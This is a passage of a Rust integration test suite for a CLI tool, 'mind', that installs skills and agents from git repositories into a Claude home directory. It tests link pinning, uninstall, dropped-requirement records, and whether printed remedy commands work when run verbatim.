    let sb = Sandbox::new();
    sb.write_and_commit(
        "workflows/deploy.js",
        "export const meta = { name: 'deploy', description: 'Deploy it' };\n",
    );
    sb.write_and_commit("lib/util.js", "export const x = 1;\n");

    let wf = sb.mind(&["--json", "learn", &sb.link("tree/main/workflows/deploy.js")]);
    assert!(!wf.success, "{}", wf.stdout);
    let wf_v: serde_json::Value = serde_json::from_str(wf.stdout.trim())
        .unwrap_or_else(|e| panic!("stdout must be one JSON document: {e}\n{}", wf.stdout));
    assert_eq!(
        wf_v["error"]["kind"], "link-kind-not-supported",
        "a workflow link must carry its own kind slug: {wf_v}"
    );

    let stray = sb.mind(&["--json", "learn", &sb.link("tree/main/lib/util.js")]);
    assert!(!stray.success, "{}", stray.stdout);
    let stray_v: serde_json::Value = serde_json::from_str(stray.stdout.trim())
        .unwrap_or_else(|e| panic!("stdout must be one JSON document: {e}\n{}", stray.stdout));
    assert_eq!(
        stray_v["error"]["kind"], "link-not-linkable-file",
        "a stray `.js` must carry its own kind slug: {stray_v}"
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn branch_link_upgrades_with_the_branch() {
    // spec: LNK-5
    // A tree/<branch> link follows that branch: sync + upgrade pick up an
    // upstream edit to the linked skill.
    let sb = Sandbox::new();
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/review")])
            .success
    );
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review the diff for bugs\n---\n# review skill\nedited\n",
    );
    assert!(sb.mind(&["sync"]).success);
    let r = sb.mind(&["upgrade", "--yes"]);
    assert!(r.success, "upgrade failed: {} {}", r.stdout, r.stderr);
    let installed = std::fs::read_to_string(sb.claude_home.join("skills/review/SKILL.md")).unwrap();
    assert!(
        installed.contains("edited"),
        "the installed skill must carry the upstream edit: {installed}"
    );
}

#[test]
fn sha_link_pins_and_does_not_follow() {
    // spec: LNK-3
    // A tree/<40-hex> link is a commit pin: an upstream edit does not reach
    // the installed skill through sync + upgrade.
    let sb = Sandbox::new();
    let sha = sb.head_sha();
    let r = sb.mind(&["learn", &sb.link(&format!("tree/{sha}/skills/review"))]);
    assert!(r.success, "sha learn failed: {} {}", r.stdout, r.stderr);
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review the diff for bugs\n---\n# review skill\nedited\n",
    );
    assert!(sb.mind(&["sync"]).success);
    assert!(sb.mind(&["upgrade", "--yes"]).success);
    let installed = std::fs::read_to_string(sb.claude_home.join("skills/review/SKILL.md")).unwrap();
    assert!(
        !installed.contains("edited"),
        "a sha-pinned link must not follow the branch: {installed}"
    );
}

#[test]
fn learn_pin_freezes_a_branch_link() {
    // spec: CLI-200, LNK-3
    // `learn <branch-link> --pin` freezes the link's branch ref to its current
    // commit, so an upstream edit does not reach the installed skill through
    // sync + upgrade (the branch-following default would, cf.
    // branch_link_upgrades_with_the_branch).
    let sb = Sandbox::new();
    let r = sb.mind(&["learn", &sb.link("tree/main/skills/review"), "--pin"]);
    assert!(
        r.success,
        "pinned link learn failed: {} {}",
        r.stdout, r.stderr
    );
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review the diff for bugs\n---\n# review skill\nedited\n",
    );
    assert!(sb.mind(&["sync"]).success);
    assert!(sb.mind(&["upgrade", "--yes"]).success);
    let installed = std::fs::read_to_string(sb.claude_home.join("skills/review/SKILL.md")).unwrap();
    assert!(
        !installed.contains("edited"),
        "a --pin frozen branch link must not follow the branch: {installed}"
    );
}

#[test]
fn unmeld_link_instance_uninstalls_its_skill() {
    // spec: LNK-5
    let sb = Sandbox::new();
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/review")])
            .success
    );
    let name = sb.link_name("skills/review");
    let r = sb.mind(&["unmeld", &name, "--yes"]);
    assert!(r.success, "unmeld failed: {} {}", r.stdout, r.stderr);
    assert!(
        !sb.claude_home.join("skills/review").exists(),
        "unmeld must uninstall the instance's skill"
    );
    assert_eq!(source_count(&sb), 0);
}

#[test]
fn forget_of_an_emptied_link_hints_at_unmeld() {
    // spec: LNK-5
    // forget leaves the instance registered and points at unmeld.
    let sb = Sandbox::new();
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/review")])
            .success
    );
    let r = sb.mind(&["forget", "review"]);
    assert!(r.success, "forget failed: {} {}", r.stdout, r.stderr);
    assert!(
        r.stderr.contains("mind unmeld"),
        "forget must hint at unmeld for an emptied link instance: {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 1, "the instance stays registered");
}

// ----- LNK-18: intra-source references under a single-skill link -----

#[test]
fn link_install_warns_about_an_unsatisfiable_requires_and_still_installs() {
    // spec: LNK-18
    // A link instance's catalog is exactly the linked skill (LNK-7), so a
    // `requires:` entry naming a sibling can never resolve. `requires` is pure
    // metadata (DEP-4), so the install proceeds with a warning that names the
    // unresolved entry and the one-command remedy (CLI-236) -- rather than the
    // blunt DEP-6 `BadReference` that would make the skill unreachable by link.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "agents/dev.md",
        "---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
    );
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\nrequires: agent:dev\n---\n# review skill\n",
    );

    let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
    assert!(
        r.success,
        "an unsatisfiable requires must not fail a link install: {} {}",
        r.stdout, r.stderr
    );
    assert!(
        sb.claude_home.join("skills/review").exists(),
        "the linked skill must still install"
    );
    assert!(
        !sb.claude_home.join("agents/dev.md").exists(),
        "the link cannot install the sibling it names"
    );
    let combined = format!("{}{}", r.stdout, r.stderr);
    assert!(
        combined.contains("agent:dev") && combined.contains("single-item link"),
        "the warning must name the unresolved entry and why it cannot resolve: {combined}"
    );
    assert!(
        combined.contains("mind meld") && combined.contains("--learn 'skill:review'"),
        "the warning must name the one-command remedy: {combined}"
    );
}

/// Pull the remedy command out of a printed LNK-18 warning or error: the text
/// between the backticks. Tests run this VERBATIM, so a remedy that would not
/// work when pasted fails the test rather than passing on a substring match.
fn extract_remedy(text: &str) -> String {
    let start = text.find('`').expect("a backticked remedy");
    let rest = &text[start + 1..];
    let end = rest.find('`').expect("a closing backtick");
    rest[..end].to_string()
}

/// Run a remedy command string through the real binary, splitting the shell
/// `a && b` form into its two commands and dropping the leading `mind`.
fn run_remedy(sb: &Sandbox, remedy: &str) -> Vec<Run> {
    remedy
        .split("&&")
        .map(|cmd| {
            let argv = shell_split(cmd.trim());
            assert_eq!(argv.first().map(String::as_str), Some("mind"));
            let args: Vec<&str> = argv[1..].iter().map(String::as_str).collect();
            sb.mind(&args)
        })
        .collect()
}

#[test]
fn the_remedy_a_link_prints_works_verbatim_after_the_link_installed() {
    // spec: LNK-18 CLI-236
    // The remedy is printed AFTER the skill installed from the link instance,
    // so it must account for that: dropping the instance first, then melding
    // the whole repo and installing just that skill with its closure (DEP-30).
    // Pasted as printed, it must succeed -- a bare `meld --learn` here would
    // collide with the name the link already installed.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "agents/dev.md",
        "---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
    );
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\nrequires: agent:dev\n---\n# review skill\n",
    );

    let learn = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
    assert!(learn.success, "learn <url> failed: {}", learn.stderr);
    let remedy = extract_remedy(&format!("{}{}", learn.stdout, learn.stderr));

    // This repo is a plain convention layout, so an ordinary meld discovers the
    // linked skill by itself: the remedy must NOT carry the `--add-root .`
    // escape it emits only for a repo whose inventory hides the skill.
    assert!(
        !remedy.contains("--add-root"),
        "a discoverable skill must get the plain remedy form: {remedy}"
    );

    for (i, r) in run_remedy(&sb, &remedy).into_iter().enumerate() {
        assert!(
            r.success,
            "step {i} of the printed remedy `{remedy}` failed: {} {}",
            r.stdout, r.stderr
        );
    }
    assert!(
        sb.claude_home.join("skills/review").exists()
            && sb.claude_home.join("agents/dev.md").exists(),
        "the remedy must end with the skill and the sibling it requires installed"
    );
    assert!(
        !sb.claude_home.join("skills/extra").exists(),
        "the remedy must not install the repo's unrelated skills"
    );
    // The link instance is gone, replaced by the whole-repo source: one source.
    assert_eq!(source_count(&sb), 1, "the link instance must be replaced");
    // And the requirement is no longer recorded as dropped (LNK-19).
    let recall = sb.mind(&["recall", "skill:review"]);
    assert!(
        !recall.stdout.contains("dropped"),
        "the drop record must not survive the remedy: {}",
        recall.stdout
    );
}

#[test]
fn the_remedy_a_link_prints_works_verbatim_after_a_token_error() {
    // spec: LNK-18 -- the error path installs nothing but leaves the instance
    // registered, so its remedy must unmeld too. Run verbatim, it must work.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "agents/dev.md",
        "---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
    );
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\n---\n# review\n\nHand off to {{ns:dev}}.\n",
    );

    let learn = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
    assert!(!learn.success, "the token must fail the install");
    assert_eq!(
        source_count(&sb),
        1,
        "the aborted install leaves the instance registered"
    );

    let remedy = extract_remedy(&learn.stderr);
    for (i, r) in run_remedy(&sb, &remedy).into_iter().enumerate() {
        assert!(
            r.success,
            "step {i} of the printed remedy `{remedy}` failed: {} {}",
            r.stdout, r.stderr
        );
    }
    assert!(
        sb.claude_home.join("skills/review").exists(),
        "the remedy must install the skill the link could not"
    );
    assert_eq!(source_count(&sb), 1, "the link instance must be replaced");
}

#[test]
fn the_remedy_works_verbatim_for_a_repo_whose_inventory_hides_the_skill() {
    // spec: LNK-18 DSC-84
    // The case item links exist for: an authoritative `mind.toml` (DSC-3) that
    // does not declare the linked skill, so a PLAIN meld of the repo would not
    // discover it at all. The remedy's meld half must therefore carry
    // `--add-root .` (DSC-84). Without it the unmeld half succeeds and the meld
    // half then fails with `LearnPatternNoMatch`, leaving the user with the
    // skill uninstalled, the link gone, and a stray whole-repo source: strictly
    // worse than before pasting, with no recovery path in the message.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "agents/dev.md",
        "---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
    );
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\nrequires: agent:dev\n---\n# review skill\n",
    );
    // Authoritative: only `dev` is declared, so convention discovery is off and
    // `skills/review` is invisible to an ordinary meld.
    sb.write_and_commit(
        "mind.toml",
        "[[items]]\nkind = \"agent\"\nname = \"dev\"\npath = \"agents/dev.md\"\n",
    );

    let learn = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
    assert!(learn.success, "the link install failed: {}", learn.stderr);
    let remedy = extract_remedy(&format!("{}{}", learn.stdout, learn.stderr));
    // The root is shell-quoted like every other value in the command, and is
    // `.` here because the skill sits at `<repo-root>/skills/review`.
    assert!(
        remedy.contains("--add-root '.'"),
        "a skill a plain meld cannot reach needs the --add-root form: {remedy}"
    );

    for (i, r) in run_remedy(&sb, &remedy).into_iter().enumerate() {
        assert!(
            r.success,
            "step {i} of the printed remedy `{remedy}` failed: {} {}",
            r.stdout, r.stderr
        );
    }
    assert!(
        sb.claude_home.join("skills/review").exists()
            && sb.claude_home.join("agents/dev.md").exists(),
        "the remedy must end with the skill and the sibling it requires installed"
    );
    assert_eq!(source_count(&sb), 1, "the link instance must be replaced");
    let recall = sb.mind(&["recall", "skill:review"]);
    assert!(
        !recall.stdout.contains("dropped"),
        "the drop record must not survive the remedy: {}",
        recall.stdout
    );
}

#[test]
fn the_remedy_names_the_scan_root_a_nested_skill_actually_needs() {
    // spec: LNK-18 DSC-84
    // An added root is convention-scanned only ONE level deep (flat children,
    // plus a `skills/` container directly under it), so a fixed `--add-root .`
    // reaches `<repo-root>/skills/<name>` and nothing deeper. For a skill at
    // `vendor/pkg/skills/review` the root has to be `vendor/pkg`, or the meld
    // half fails with `LearnPatternNoMatch` after the unmeld half already ran.
    let sb = Sandbox::new();
    // A sibling-naming token makes this a hard stop, which is the path that
    // prints a remedy with nothing installed.
    sb.write_and_commit(
        "vendor/pkg/skills/review/SKILL.md",
        "---\ndescription: nested\n---\n# review\n\nHand off to {{ns:dev}}.\n",
    );
    // Authoritative, and it does not declare the nested skill, so a plain meld
    // cannot reach it and the remedy must take the --add-root branch.
    sb.write_and_commit(
        "mind.toml",
        "[[items]]\nkind = \"skill\"\nname = \"extra\"\npath = \"skills/extra\"\n",
    );

    let r = sb.mind(&["learn", &sb.link("tree/main/vendor/pkg/skills/review")]);
    assert!(!r.success, "the token must fail the install: {}", r.stdout);
    let remedy = extract_remedy(&r.stderr);
    assert!(
        remedy.contains("--add-root 'vendor/pkg'"),
        "the remedy must name the directory the scan starts from: {remedy}"
    );
}

#[test]
fn the_remedy_installs_the_literal_item_when_its_name_carries_glob_syntax() {
    // spec: LNK-18 CLI-236
    // `is_safe_item_name` permits `*`, `?` and `[`, and `--learn` reads those as
    // glob syntax, so the printed remedy glob-escapes the name. Escaping only
    // the printed text is not enough: the match it produces used to be handed
    // back to `learn` as a `<source>#<key>` STRING, which re-tested the name
    // with `is_glob` and re-expanded it. This repo ships both `pdf[x]` and
    // `pdfx`, so that second reading installs the wrong skill, observably.
    let sb = Sandbox::bare("agents");
    sb.write_and_commit(
        "agents/dev.md",
        "---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
    );
    sb.write_and_commit(
        "skills/pdf[x]/SKILL.md",
        "---\ndescription: The literal one\nrequires: agent:dev\n---\n# pdf[x]\n",
    );
    sb.write_and_commit(
        "skills/pdfx/SKILL.md",
        "---\ndescription: The one a glob would select\n---\n# pdfx\n",
    );

    let learn = sb.mind(&["learn", &sb.link("tree/main/skills/pdf[x]")]);
    assert!(learn.success, "the link install failed: {}", learn.stderr);
    let remedy = extract_remedy(&format!("{}{}", learn.stdout, learn.stderr));
    assert!(
        remedy.contains("--learn 'skill:pdf[[]x[]]'"),
        "the remedy must carry the kind-qualified, glob-escaped name: {remedy}"
    );

    // Drop the link instance, then run the remedy's meld half VERBATIM. The
    // unmeld half is not run here: `unmeld`'s selector is glob-aware (CLI-28),
    // so an identity ending in `pdf[x]` reads as a character class and matches
    // nothing. That is a separate defect in the selector, not in the pattern
    // this test is about, so the instance is dropped with an escaped selector.
    let escaped_identity = sb
        .link_name("skills/pdf[x]")
        .replace("pdf[x]", "pdf[[]x[]]");
    assert!(
        sb.mind(&["unmeld", &escaped_identity, "--yes"]).success,
        "the link instance must be droppable"
    );
    let meld_half = remedy.split("&&").nth(1).expect("a two-step remedy").trim();
    let argv = shell_split(meld_half);
    assert_eq!(argv.first().map(String::as_str), Some("mind"));
    let args: Vec<&str> = argv[1..].iter().map(String::as_str).collect();
    let r = sb.mind(&args);
    assert!(
        r.success,
        "the meld half `{meld_half}` failed: {} {}",
        r.stdout, r.stderr
    );
    assert!(
        sb.claude_home.join("skills/pdf[x]").exists(),
        "the remedy must install the literally named skill: `{remedy}`"
    );
    assert!(
        !sb.claude_home.join("skills/pdfx").exists(),
        "the remedy must not install the skill a glob reading selects: `{remedy}`"
    );
    assert!(
        sb.claude_home.join("agents/dev.md").exists(),
        "the remedy must still bring the closure of the item it names"
    );
}

#[test]
fn learn_pattern_installs_an_item_whose_name_contains_a_hash() {
    // spec: CLI-236
    // `is_safe_item_name` permits `#`, so a `--learn` match cannot be carried as
    // a `<source>#<key>` string: split on the last `#`, this item's key reads as
    // `skill:review`, an item that also exists here and is already installed.
    // The selection was therefore filtered out as "already installed" and mind
    // reported "nothing to do" about an item it never installed.
    let sb = Sandbox::bare("agents");
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: The decoy\n---\n# review\n",
    );
    sb.write_and_commit(
        "skills/x#skill:review/SKILL.md",
        "---\ndescription: The hash-named one\n---\n# hash\n",
    );
    let repo = sb.source.to_string_lossy().into_owned();
    assert!(sb.mind(&["meld", &repo, "--register-only"]).success);
    assert!(
        sb.mind(&["learn", "skill:review"]).success,
        "the decoy must be installed first: that is what the bad split collides with"
    );

    let r = sb.mind(&["meld", &repo, "--learn", "x*", "--yes"]);
    assert!(r.success, "meld --learn failed: {} {}", r.stdout, r.stderr);
    assert!(
        sb.claude_home.join("skills/x#skill:review").exists(),
        "the hash-named item must install: {} {}",
        r.stdout,
        r.stderr
    );
    assert!(
        !r.stdout.contains("already installed"),
        "the hash-named item is not installed, so mind must not say it is: {}",
        r.stdout
    );
}

#[test]
fn a_dropped_requires_is_recorded_and_surfaced_after_the_warning_scrolls_away() {
    // spec: LNK-19
    // The install-time warning is transient; the record on the installed item is
    // what `recall`, `recall --json`, and `introspect` surface later.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "agents/dev.md",
        "---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
    );
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\nrequires: agent:dev\n---\n# review skill\n",
    );
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/review")])
            .success
    );

    let recall = sb.mind(&["recall", "skill:review"]);
    assert!(
        recall.stdout.contains("dropped") && recall.stdout.contains("agent:dev"),
        "recall must show the dropped requirement: {}",
        recall.stdout
    );

    let json = sb.mind(&["--json", "recall", "skill:review"]);
    let doc: serde_json::Value = serde_json::from_str(&json.stdout)
        .unwrap_or_else(|e| panic!("recall --json must be one document ({e}): {}", json.stdout));
    assert_eq!(
        doc["dropped_requires"]
            .as_array()
            .map(|a| a.iter().map(|v| v.as_str().unwrap()).collect::<Vec<_>>()),
        Some(vec!["agent:dev"]),
        "the JSON item shape must carry the drop: {}",
        json.stdout
    );

    let introspect = sb.mind(&["introspect"]);
    assert!(
        introspect.stdout.contains("skill:review") && introspect.stdout.contains("agent:dev"),
        "introspect must report the degraded item: {}",
        introspect.stdout
    );
    // Unconditional: gating this on `introspect.success` would make it vacuous
    // the moment introspect starts exiting non-zero on any issue, which is the
    // very outcome this drop is meant to produce.
    assert!(
        !introspect.stdout.contains("all good"),
        "introspect must not call a degraded item all good: {}",
        introspect.stdout
    );
    // The third surface LNK-19 names: the machine-readable one.
    let ij = sb.mind(&["introspect", "--json"]);
    let report: serde_json::Value = serde_json::from_str(&ij.stdout).unwrap_or_else(|e| {
        panic!(
            "introspect --json must be one document ({e}): {}",
            ij.stdout
        )
    });
    let issue = report["issues"]
        .as_array()
        .expect("issues array")
        .iter()
        .find(|i| i["kind"] == "dropped-requires")
        .unwrap_or_else(|| panic!("no dropped-requires issue: {}", ij.stdout));
    assert_eq!(issue["target"], "skill:review", "{}", ij.stdout);
    let message = issue["message"].as_str().unwrap_or_default();
    assert!(
        message.contains("agent:dev"),
        "the issue must name the dropped entry: {message}"
    );
    // The hint must be a command that exists: `recall`'s positional resolves an
    // ITEM against the manifest, so `mind recall <source>` errors with "is not
    // installed". Prove the suggested command actually runs.
    assert!(
        message.contains("mind recall --sources"),
        "the issue must point at a real command: {message}"
    );
    let sources = sb.mind(&["recall", "--sources"]);
    assert!(
        sources.success && sources.stdout.contains("#skills/review"),
        "the suggested command must list the link source: {} {}",
        sources.stdout,
        sources.stderr
    );
}

#[test]
fn an_ordinary_install_records_no_dropped_requires() {
    // spec: LNK-19 -- the field is empty (and omitted from the manifest) for
    // every install that is not a link with an unsatisfiable requirement, so an
    // ordinary source reads back exactly as before.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "agents/dev.md",
        "---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
    );
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\nrequires: agent:dev\n---\n# review skill\n",
    );
    let repo = sb.source.to_string_lossy().into_owned();
    assert!(sb.mind(&["meld", &repo, "--yes"]).success);

    let manifest = std::fs::read_to_string(sb.mind_home.join("manifest.json")).unwrap();
    assert!(
        !manifest.contains("dropped_requires"),
        "an ordinary install must not write the field: {manifest}"
    );
    let recall = sb.mind(&["recall", "skill:review"]);
    assert!(!recall.stdout.contains("dropped"), "{}", recall.stdout);
    assert!(
        sb.mind(&["introspect"]).stdout.contains("all good"),
        "introspect must be clean for an ordinary install"
    );
}

#[test]
fn upgrading_a_link_whose_upstream_added_a_requires_warns_instead_of_failing() {
    // spec: LNK-18 LNK-19
    // The reconciliation runs on the upgrade path too: an upstream edit that
    // adds a `requires` entry must not turn every later `upgrade` of the link
    // into a hard failure, and the drop record must reflect the new version.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\n---\n# review skill\n",
    );
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/review")])
            .success
    );
    let before = sb.mind(&["recall", "skill:review"]);
    assert!(!before.stdout.contains("dropped"), "{}", before.stdout);

    // Upstream adds a requirement the single-skill catalog cannot satisfy.
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\nrequires: agent:dev\n---\n# review skill v2\n",
    );
    let up = sb.mind(&["upgrade", "--yes"]);
    assert!(
        up.success,
        "upgrade must not hard-fail on the new requires: {} {}",
        up.stdout, up.stderr
    );
    let combined = format!("{}{}", up.stdout, up.stderr);
    assert!(
        combined.contains("agent:dev"),
        "upgrade must warn about the dropped entry: {combined}"
    );
    let after = sb.mind(&["recall", "skill:review"]);
    assert!(
        after.stdout.contains("dropped") && after.stdout.contains("agent:dev"),
        "the drop record must reflect the upgraded version: {}",
        after.stdout
    );
}

#[test]
fn link_install_keeps_the_dep7_causes_as_hard_errors() {
    // spec: LNK-18 -- only a NoMatch entry is dropped. A source-qualified entry
    // is wrong regardless of the catalog, so it keeps its DEP-7 CrossSource
    // cause as a hard error rather than being silently dropped with the rest.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\nrequires: owner/repo#agent:dev\n---\n# review\n",
    );
    let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
    assert!(
        !r.success,
        "a source-qualified requires must stay a hard error: {}",
        r.stdout
    );
    assert!(
        r.stderr.contains("crosses sources"),
        "the specific DEP-7 cause must survive: {}",
        r.stderr
    );
    assert!(
        !sb.claude_home.join("skills/review").exists(),
        "nothing is installed when a kept entry fails"
    );
}

#[test]
fn link_install_of_a_skill_with_a_tools_token_errors_with_the_remedy() {
    // spec: LNK-18 -- `{{tools:}}` and `{{path:}}` resolve against siblings just
    // as `{{ns:}}` does, so they are equally unsatisfiable under a single-skill
    // catalog and get the same explanatory error, not the blunt TOOL-17 one.
    let sb = Sandbox::new();
    sb.write_and_commit("tools/fmt/fmt", "#!/bin/sh\necho fmt\n");
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\n---\n# review\n\nRun {{tools:fmt}} first.\n",
    );

    let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
    assert!(
        !r.success,
        "an unresolvable tool token must fail: {}",
        r.stdout
    );
    assert!(
        r.stderr.contains("{{tools:fmt}}") && r.stderr.contains("single-item link"),
        "the error must name the token and the single-item catalog: {}",
        r.stderr
    );
    assert!(
        r.stderr.contains("mind unmeld") && r.stderr.contains("--learn 'skill:review'"),
        "the error must name the remedy: {}",
        r.stderr
    );
}

#[test]
fn link_install_scans_expand_listed_files_for_tokens_too() {
    // spec: LNK-18 -- install expands tokens in an `expand:`-listed non-markdown
    // file (NS-57), so the scan must cover it. A narrower scan would let the
    // reference through to the blunt error this rule exists to replace.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "agents/dev.md",
        "---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
    );
    sb.write_and_commit("skills/review/run.py", "# hands off to {{ns:dev}}\n");
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\nexpand: run.py\n---\n# review\n",
    );

    let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
    assert!(
        !r.success,
        "a token in an expand:-listed file must fail the install: {}",
        r.stdout
    );
    assert!(
        r.stderr.contains("{{ns:dev}}") && r.stderr.contains("single-item link"),
        "the expand:-listed file must get the LNK-18 error, not the blunt one: {}",
        r.stderr
    );
}

#[test]
fn link_install_of_a_skill_with_an_ns_token_errors_with_the_remedy() {
    // spec: LNK-18
    // A `{{ns:}}` token is rewritten into the item body (NS-10), so unlike a
    // `requires` entry it cannot be left dangling: it stays a hard error, but
    // one that explains the single-item catalog and names the remedy instead of
    // reporting a generic missing reference.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "agents/dev.md",
        "---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
    );
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review\n---\n# review\n\nHand off to {{ns:dev}}.\n",
    );

    let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
    assert!(!r.success, "an unresolvable token must fail: {}", r.stdout);
    assert!(
        r.stderr.contains("{{ns:dev}}") && r.stderr.contains("single-item link"),
        "the error must name the token and the single-item catalog: {}",
        r.stderr
    );
    assert!(
        r.stderr.contains("mind meld") && r.stderr.contains("--learn 'skill:review'"),
        "the error must name the one-command remedy: {}",
        r.stderr
    );
    assert!(
        !sb.claude_home.join("skills/review").exists(),
        "nothing is installed when the token cannot be expanded"
    );
}

#[test]
fn the_remedy_adds_a_root_when_the_repo_declares_a_different_skill_of_the_same_name() {
    // spec: LNK-18 DSC-84
    // The case the by-path reachability rule exists for. The repo's
    // authoritative `mind.toml` declares a skill whose BARE NAME is exactly the
    // linked one's, but at a DIFFERENT path (`vendor/review`, not the linked
    // `skills/review`). Deciding reachability by name would call this "a plain
    // meld finds it" and print the rootless remedy -- which, pasted, melds the
    // repo and installs the DECOY under the name the user asked for. Deciding
    // by path answers "not reachable", so the remedy carries `--add-root`, and
    // the root reaches the skill the link actually pointed at.
    let sb = Sandbox::bare("agents");
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: the linked one\n---\n# review\n\nHand off to {{ns:dev}}.\n",
    );
    sb.write_and_commit(
        "vendor/review/SKILL.md",
        "---\ndescription: a decoy of the same bare name\n---\n# decoy\n",
    );
    sb.write_and_commit(
        "mind.toml",
        "[[items]]\nkind = \"skill\"\nname = \"review\"\npath = \"vendor/review\"\n",
    );

    let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
    assert!(!r.success, "the token must fail the install: {}", r.stdout);
    let remedy = extract_remedy(&r.stderr);
    assert!(
        remedy.contains("--add-root"),
        "a same-named skill at another path must NOT count as reachable, or the \
         remedy would meld the decoy: {remedy}"
    );

    // Why that matters, demonstrated rather than asserted in the abstract: run
    // the rootless form -- exactly what a by-NAME reachability rule would have
    // printed here, since a plain meld of this repo does offer a
    // `skill:review` -- and watch it install the DECOY under the name the user
    // asked for. Every half succeeds, so the wrong skill lands silently; the
    // by-path rule is the only thing standing between the user and this.
    let rootless = remedy.replace(" --add-root '.'", "");
    assert_ne!(rootless, remedy, "the remedy really did carry a root");
    for (i, run) in run_remedy(&sb, &rootless).into_iter().enumerate() {
        assert!(
            run.success,
            "step {i} of the rootless form `{rootless}` was expected to succeed \
             (that is the trap): {} {}",
            run.stdout, run.stderr
        );
    }
    let text = std::fs::read_to_string(sb.claude_home.join("skills/review/SKILL.md"))
        .expect("the rootless form installs a skill/review");
    assert!(
        text.contains("a decoy of the same bare name"),
        "the rootless form silently installs the DECOY, which is exactly what \
         the by-path rule exists to avoid printing: {text}"
    );
}

#[test]
fn the_remedy_for_a_nested_skill_works_verbatim() {
    // spec: LNK-18 DSC-84
    // `link_add_root` derives `vendor/pkg` for a skill at
    // `vendor/pkg/skills/review`; the unit test pins the STRING, this pins that
    // the derived root actually makes the meld half discover the skill. A fixed
    // `--add-root .` reaches only `<repo-root>/skills/<name>`, so with it this
    // remedy would fail with `LearnPatternNoMatch` AFTER the unmeld half had
    // already dropped the instance -- the destroy-then-fail sequence the
    // two-branch remedy exists to prevent.
    let sb = Sandbox::bare("agents");
    sb.write_and_commit(
        "vendor/pkg/skills/review/SKILL.md",
        "---\ndescription: nested\n---\n# review\n\nHand off to {{ns:dev}}.\n",
    );
    sb.write_and_commit(
        "agents/dev.md",
        "---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
    );
    // Authoritative and silent about the nested skill, so only the added root
    // can reach it. It does declare `dev`, so once the whole repo is melded the
    // token the link could not satisfy resolves.
    sb.write_and_commit(
        "mind.toml",
        "[[items]]\nkind = \"agent\"\nname = \"dev\"\npath = \"agents/dev.md\"\n",
    );

    let r = sb.mind(&["learn", &sb.link("tree/main/vendor/pkg/skills/review")]);
    assert!(!r.success, "the token must fail the install: {}", r.stdout);
    let remedy = extract_remedy(&r.stderr);
    assert!(
        remedy.contains("--add-root 'vendor/pkg'"),
        "the remedy must name the directory the one-level-deep scan starts \
         from: {remedy}"
    );

    for (i, run) in run_remedy(&sb, &remedy).into_iter().enumerate() {
        assert!(
            run.success,
            "step {i} of the printed remedy `{remedy}` failed: {} {}",
            run.stdout, run.stderr
        );
    }
    assert!(
        sb.claude_home.join("skills/review").exists(),
        "the derived root must actually make the meld half reach the nested \
         skill: `{remedy}`"
    );
    assert_eq!(source_count(&sb), 1, "the link instance must be replaced");
}

#[test]
fn the_remedy_for_a_flat_nested_skill_works_verbatim() {
    // spec: LNK-18 DSC-84
    // The flat half of the same derivation: a skill directory that is a bare
    // child of `vendor/` (no `skills/` container) needs `--add-root 'vendor'`,
    // its own parent. `link_add_root`'s container check keys on the parent
    // directory's NAME, so this is the branch that would break if that check
    // ever grew looser (`my-skills/` and friends).
    let sb = Sandbox::bare("agents");
    sb.write_and_commit(
        "vendor/review/SKILL.md",
        "---\ndescription: flat nested\n---\n# review\n\nHand off to {{ns:dev}}.\n",
    );
    sb.write_and_commit(
        "agents/dev.md",
